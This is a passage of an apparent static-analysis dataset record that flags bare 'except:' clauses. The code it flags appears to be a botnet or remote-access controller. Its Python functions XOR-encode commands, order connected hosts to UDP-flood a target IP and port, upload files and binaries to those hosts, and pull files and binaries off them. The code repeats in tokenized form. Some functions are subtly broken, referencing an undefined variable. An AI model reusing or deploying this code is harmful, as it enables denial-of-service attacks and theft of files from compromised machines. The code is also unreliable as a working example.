sys.getsizeof(command)\n bSize = str(bSize)\n res = send_comm(bSize,cur_host_con)\n sleep(0.1)\n if res == 1:\n handler.remove_host(cur_host_id)\n return 1\n res = send_comm(command,cur_host_con)\n if res == 1:\n handler.remove_host(cur_host_id)\n return 1\n decode = recv_comm(3072,cur_host_con)\n return 0", "metadata": "root.Make_Binary", "header": "['module', '___EOS___']", "index": 94 }, { "content": "def Pull_File(nameSet, cur_host_con, cur_host_id, handler):\n remoteFileName = nameSet[0]\n try:\n localFileName = nameSet[1]\n except:\n localFileName = remoteFileName\n if localFileName == '':\n localFileName = remoteFileName\n res = send_comm('sendFile',cur_host_con)\n if res == 1:\n print (\"Connection closed by client\")\n handler.remove_host(cur_host_id)\n return 1\n res = send_comm(remoteFileName,cur_host_con)\n if res == 1:\n print (\"Connection closed by client\")\n handler.remove_host(cur_host_id)\n return 1\n decode = recv_comm(1024,cur_host_con)\n if decode == 'fna':\n print (\"File does not exist or Access Denied\")\n return 2\n else:\n try:\n localFileName = command[2]\n except:\n localFileName = command[1]\n try:\n localFile = open(localFileName,'w')\n except:\n print (\"Cannot create local file\")\n return 2\n decode = recv_comm(1024,cur_host_con)\n decode = recv_comm(int(decode),cur_host_con)\n localFile.write(decode)\n localFile.close()\n return 0", "metadata": "root.Pull_File", "header": "['module', '___EOS___']", "index": 134 }, { "content": "def Pull_Binary(nameSet, cur_host_con, cur_host_id, handler):\n remoteBinName = nameSet[0]\n try:\n localBinName = nameSet[1]\n except:\n localBinName = remoteBinName\n if localBinName == '':\n localBinName = remoteBinName\n try:\n remoteBinName = command[1]\n except:\n print (\"Remote binary name not provided\")\n return 2\n res = send_comm('sendBinary',cur_host_con)\n if res == 1:\n print (\"Connection closed by client\")\n handler.remove_host(cur_host_id)\n return 1\n res = send_comm(remoteBinName,cur_host_con)\n if res == 1:\n print (\"Connection closed by client\")\n handler.remove_host(cur_host_id)\n return 1\n decode = recv_comm(1024,cur_host_con)\n if decode == 'fna':\n print (\"File does not exist or Access Denied\")\n return 2\n else:\n try:\n localBinName = command[2]\n except:\n localBinName = command[1]\n try:\n localBin = open(localBinName,'wb')\n except:\n print (\"Cannot create local file\")\n return 2\n decode = recv_comm(1024,cur_host_con)\n decode = recv_comm(int(decode),cur_host_con)\n localBin.write(decode)\n localBin.close()\n return 0", "metadata": "root.Pull_Binary", "header": "['module', '___EOS___']", "index": 172 } ]
[ { "span": "except:", "start_line": 20, "start_column": 4, "end_line": 20, "end_column": 11 }, { "span": "except:", "start_line": 35, "start_column": 4, "end_line": 35, "end_column": 11 }, { "span": "except:", "start_line": 59, "start_column": 4, "end_line": 59, "end_column": 11 }, { "span": "except:", "start_line": 77, "start_column": 8, "end_line": 77, "end_column": 15 }, { "span": "except:", "start_line": 98, "start_column": 4, "end_line": 98, "end_column": 11 }, { "span": "except:", "start_line": 116, "start_column": 8, "end_line": 116, "end_column": 15 }, { "span": "except:", "start_line": 138, "start_column": 4, "end_line": 138, "end_column": 11 }, { "span": "except:", "start_line": 159, "start_column": 8, "end_line": 159, "end_column": 15 }, { "span": "except:", "start_line": 163, "start_column": 8, "end_line": 163, "end_column": 15 }, { "span": "except:", "start_line": 176, "start_column": 4, "end_line": 176, "end_column": 11 }, { "span": "except:", "start_line": 182, "start_column": 4, "end_line": 182, "end_column": 11 }, { "span": "except:", "start_line": 202, "start_column": 8, "end_line": 202, "end_column": 15 }, { "span": "except:", "start_line": 206, "start_column": 8, "end_line": 206, "end_column": 15 } ]
[]
1
true
[ "[CLS]_", "Except", "_", "block_", "handles_", "'", "Base", "Except", "ion", "'_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "send", "\\u", "comm_", "(_", "command_", ",_", "cur", "\\u", "host", "\\u", "con_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "encode_", "=_", "bytearray_", "(_", "command_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "len_", "(_", "encode_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "encode_", "[_", "i_", "]_", "^", "=_", "0x41", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cur", "\\u", "host", "\\u", "con_", "._", "send_", "(_", "encode_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "UD", "P", "\\u", "Flood", "_", "(_", "target_", ",_", "cur", "\\u", "host", "\\u", "con_", ",_", "cur", "\\u", "host", "\\u", "id_", ",_", "handler_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "target", "\\u", "IP_", "=_", "target_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "target", "\\u", "Port_", "=_", "target_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "msg_", "=_", "target_", "[_", "2_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "msg_", "=_", "\"", "Hi", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "flood", "\\u", "command_", "=_", "'", "ud", "p", "Flood", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "res_", "=_", "send", "\\u", "comm_", "(_", "flood", "\\u", "command_", ",_", "cur", "\\u", "host", "\\u", "con_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "res_", "==_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "handler_", "._", "remove", "\\u", "host_", "(_", "cur", "\\u", "host", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "sleep_", "(_", "0.1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "res_", "=_", "send", "\\u", "comm_", "(_", "(_", "target", "\\u", "IP_", "+_", "\":\"_", "+_", "str_", "(_", "target", "\\u", "Port_", ")_", ")_", ",_", "cur", "\\u", "host", "\\u", "con_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "res_", "==_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "handler_", "._", "remove", "\\u", "host_", "(_", "cur", "\\u", "host", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "sleep_", "(_", "0.1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "res_", "=_", "send", "\\u", "comm_", "(_", "msg_", ",_", "cur", "\\u", "host", "\\u", "con_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "res_", "==_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "handler_", "._", "remove", "\\u", "host_", "(_", "cur", "\\u", "host", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "sleep_", "(_", "0.1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Make", "\\u", "File_", "(_", "name", "Set_", ",_", "cur", "\\u", "host", "\\u", "con_", ",_", "cur", "\\u", "host", "\\u", "id_", ",_", "handler_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "file", "To", "Read_", "=_", "name", "Set_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "remote", "File", "Name_", "=_", "name", "Set_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "remote", "File", "Name_", "=_", "file", "To", "Read_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "remote", "File", "Name_", "==_", "''_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "remote", "File", "Name_", "=_", "file", "To", "Read_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "res_", "=_", "send", "\\u", "comm_", "(_", "'", "get", "File", "'_", ",_", "cur", "\\u", "host", "\\u", "con_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "res_", "==_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "handler_", "._", "remove", "\\u", "host_", "(_", "cur", "\\u", "host", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "res_", "=_", "send", "\\u", "comm_", "(_", "remote", "File", "Name_", ",_", "cur", "\\u", "host", "\\u", "con_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "res_", "==_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "handler_", "._", "remove", "\\u", "host_", "(_", "cur", "\\u", "host", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "decode_", "=_", "recv", "\\u", "comm_", "(_", "1024_", ",_", "cur", "\\u", "host", "\\u", "con_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "decode_", "==_", "\"", "fna", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "file", "To", "Read_", "=_", "open_", "(_", "file", "To", "Read_", ",_", "'", "r", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "3_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "command_", "=_", "file", "To", "Read_", "._", "read_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "file", "To", "Read_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f", "Size_", "=_", "sys_", "._", "gets", "ize", "of_", "(_", "command_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f", "Size_", "=_", "str_", "(_", "f", "Size_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "res_", "=_", "send", "\\u", "comm_", "(_", "f", "Size_", ",_", "cur", "\\u", "host", "\\u", "con_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "res_", "==_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "handler_", "._", "remove", "\\u", "host_", "(_", "cur", "\\u", "host", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "res_", "=_", "send", "\\u", "comm_", "(_", "command_", ",_", "cur", "\\u", "host", "\\u", "con_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "res_", "==_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "handler_", "._", "remove", "\\u", "host_", "(_", "cur", "\\u", "host", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "decode_", "=_", "recv", "\\u", "comm_", "(_", "1024_", ",_", "cur", "\\u", "host", "\\u", "con_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Make", "\\u", "Binary_", "(_", "name", "Set_", ",_", "cur", "\\u", "host", "\\u", "con_", ",_", "cur", "\\u", "host", "\\u", "id_", ",_", "handler_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "bin", "To", "Read_", "=_", "name", "Set_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "remote", "Bin", "Name_", "=_", "name", "Set_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "remote", "Bin", "Name_", "=_", "bin", "To", "Read_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "remote", "Bin", "Name_", "==_", "''_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "remote", "Bin", "Name_", "=_", "bin", "To", "Read_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "res_", "=_", "send", "\\u", "comm_", "(_", "'", "get", "Bin", "ary", "'_", ",_", "cur", "\\u", "host", "\\u", "con_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "res_", "==_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "handler_", "._", "remove", "\\u", "host_", "(_", "cur", "\\u", "host", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "res_", "=_", "send", "\\u", "comm_", "(_", "remote", "Bin", "Name_", ",_", "cur", "\\u", "host", "\\u", "con_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "res_", "==_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "handler_", "._", "remove", "\\u", "host_", "(_", "cur", "\\u", "host", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "decode_", "=_", "recv", "\\u", "comm_", "(_", "1024_", ",_", "cur", "\\u", "host", "\\u", "con_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "decode_", "==_", "\"", "fna", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "bin", "To", "Read_", "=_", "open_", "(_", "bin", "To", "Read_", ",_", "'", "rb", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "3_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "command_", "=_", "bin", "To", "Read_", "._", "read_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "bin", "To", "Read_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "b", "Size_", "=_", "sys_", "._", "gets", "ize", "of_", "(_", "command_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "b", "Size_", "=_", "str_", "(_", "b", "Size_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "res_", "=_", "send", "\\u", "comm_", "(_", "b", "Size_", ",_", "cur", "\\u", "host", "\\u", "con_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sleep_", "(_", "0.1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "res_", "==_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "handler_", "._", "remove", "\\u", "host_", "(_", "cur", "\\u", "host", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "res_", "=_", "send", "\\u", "comm_", "(_", "command_", ",_", "cur", "\\u", "host", "\\u", "con_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "res_", "==_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "handler_", "._", "remove", "\\u", "host_", "(_", "cur", "\\u", "host", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "decode_", "=_", "recv", "\\u", "comm_", "(_", "307", "2_", ",_", "cur", "\\u", "host", "\\u", "con_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Pul", "l\\u", "File_", "(_", "name", "Set_", ",_", "cur", "\\u", "host", "\\u", "con_", ",_", "cur", "\\u", "host", "\\u", "id_", ",_", "handler_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "remote", "File", "Name_", "=_", "name", "Set_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "local", "File", "Name_", "=_", "name", "Set_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "local", "File", "Name_", "=_", "remote", "File", "Name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "local", "File", "Name_", "==_", "''_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "local", "File", "Name_", "=_", "remote", "File", "Name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "res_", "=_", "send", "\\u", "comm_", "(_", "'", "send", "File", "'_", ",_", "cur", "\\u", "host", "\\u", "con_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "res_", "==_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "\"", "Connect", "ion", " ", "close", "d", " ", "by", " ", "client", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "handler_", "._", "remove", "\\u", "host_", "(_", "cur", "\\u", "host", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "res_", "=_", "send", "\\u", "comm_", "(_", "remote", "File", "Name_", ",_", "cur", "\\u", "host", "\\u", "con_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "res_", "==_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "\"", "Connect", "ion", " ", "close", "d", " ", "by", " ", "client", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "handler_", "._", "remove", "\\u", "host_", "(_", "cur", "\\u", "host", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "decode_", "=_", "recv", "\\u", "comm_", "(_", "1024_", ",_", "cur", "\\u", "host", "\\u", "con_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "decode_", "==_", "'", "fna", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "\"", "File", " ", "doe", "s", " ", "not", " ", "exist", " ", "or", " ", "Access", " ", "Den", "ied", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "local", "File", "Name_", "=_", "command_", "[_", "2_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "local", "File", "Name_", "=_", "command_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "local", "File_", "=_", "open_", "(_", "local", "File", "Name_", ",_", "'", "w", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "\"", "Cann", "ot", " ", "create", " ", "local", " ", "file", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "decode_", "=_", "recv", "\\u", "comm_", "(_", "1024_", ",_", "cur", "\\u", "host", "\\u", "con_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "decode_", "=_", "recv", "\\u", "comm_", "(_", "int_", "(_", "decode_", ")_", ",_", "cur", "\\u", "host", "\\u", "con_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "local", "File_", "._", "write_", "(_", "decode_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "local", "File_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Pul", "l\\u", "Binary_", "(_", "name", "Set_", ",_", "cur", "\\u", "host", "\\u", "con_", ",_", "cur", "\\u", "host", "\\u", "id_", ",_", "handler_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "remote", "Bin", "Name_", "=_", "name", "Set_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "local", "Bin", "Name_", "=_", "name", "Set_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "local", "Bin", "Name_", "=_", "remote", "Bin", "Name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "local", "Bin", "Name_", "==_", "''_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "local", "Bin", "Name_", "=_", "remote", "Bin", "Name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "remote", "Bin", "Name_", "=_", "command_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "\"", "Remo", "te", " ", "binar", "y", " ", "name", " ", "not", " ", "provided", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "res_", "=_", "send", "\\u", "comm_", "(_", "'", "send", "Bin", "ary", "'_", ",_", "cur", "\\u", "host", "\\u", "con_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "res_", "==_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "\"", "Connect", "ion", " ", "close", "d", " ", "by", " ", "client", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "handler_", "._", "remove", "\\u", "host_", "(_", "cur", "\\u", "host", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "res_", "=_", "send", "\\u", "comm_", "(_", "remote", "Bin", "Name_", ",_", "cur", "\\u", "host", "\\u", "con_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "res_", "==_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u 